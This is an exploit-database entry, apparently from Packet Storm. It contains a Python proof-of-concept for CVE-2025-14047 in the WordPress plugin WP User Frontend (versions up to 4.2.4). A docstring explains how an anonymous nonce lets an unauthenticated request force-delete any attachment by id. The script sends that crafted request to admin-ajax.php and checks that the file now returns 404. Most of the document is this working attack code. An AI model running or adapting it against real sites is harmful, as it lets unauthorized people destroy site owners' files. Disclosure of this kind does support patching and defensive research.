Share
## https://sploitus.com/exploit?id=PACKETSTORM:226431
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin WP User Frontend <= 4.2.4 - Unauthenticated Arbitrary Attachment/File Deletion
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/wp-user-frontend/
    # Software Link: https://downloads.wordpress.org/plugin/wp-user-frontend.4.2.4.zip
    # Version: 4.2.4 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2025-14047
    r"""
    WP User Frontend <= 4.2.4 registers wpuf_submit_post as a nopriv AJAX action (includes/Ajax.php:26,
    default nopriv=true). submit_post() (includes/Ajax/Frontend_Form_Ajax.php:36) verifies only the
    `wpuf_form_add` nonce, then reads $_POST['delete_attachments'] (:55) and force-deletes each id
    (:134 wp_delete_attachment($attach_id, true)) BEFORE any post-ownership / guest-permission gating and
    independently of the form. An unauthenticated attacker deletes arbitrary attachments (post record +
    file on disk) by id.
    
    The `wpuf_form_add` nonce is an anonymous-user nonce printed by wp_nonce_field('wpuf_form_add') on any
    page containing a [wpuf_form] guest-posting form (Render_Form.php:617 / Frontend_Render_Form.php:56),
    harvestable unauth. (setup_state.sh emits the equivalent anonymous nonce for a self-contained run.)
    
    Prior state: plugin active + a [wpuf_form] page as the nonce source + a target attachment id.
    """
    import argparse, sys
    import requests
    requests.packages.urllib3.disable_warnings()
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--nonce", required=True, help="anonymous wpuf_form_add nonce")
        ap.add_argument("--attachment-id", required=True, help="attachment id to delete")
        ap.add_argument("--check-url", help="optional file URL to confirm deletion (200->404)")
        args = ap.parse_args()
        base = args.target.rstrip("/")
        before = requests.get(base + args.check_url, verify=False).status_code if args.check_url else None
        r = requests.post(base + "/wp-admin/admin-ajax.php",
                          data={"action": "wpuf_submit_post", "_wpnonce": args.nonce, "form_id": "0",
                                "delete_attachments[]": args.attachment_id}, verify=False, timeout=25)
        print(f"[*] Target: {base} | delete attachment {args.attachment_id}")
        print(f"[*] submit -> HTTP {r.status_code} :: {r.text[:100]}")
        # the delete runs before the (failing) post processing, so a 'Something went wrong' body is expected
        if args.check_url:
            after = requests.get(base + args.check_url, verify=False).status_code
            print(f"[*] file {before} -> {after}")
            if before == 200 and after == 404:
                print("\n[+] ARBITRARY FILE DELETION CONFIRMED โ€” unauthenticated attacker deleted the "
                      "attachment file.")
                return 0
            print("\n[-] not confirmed"); return 1
        print("\n[+] delete request sent โ€” verify the attachment id is gone "
              "(wp post get <id>).")
        return 0
    
    
    if __name__ == "__main__":
        sys.exit(main())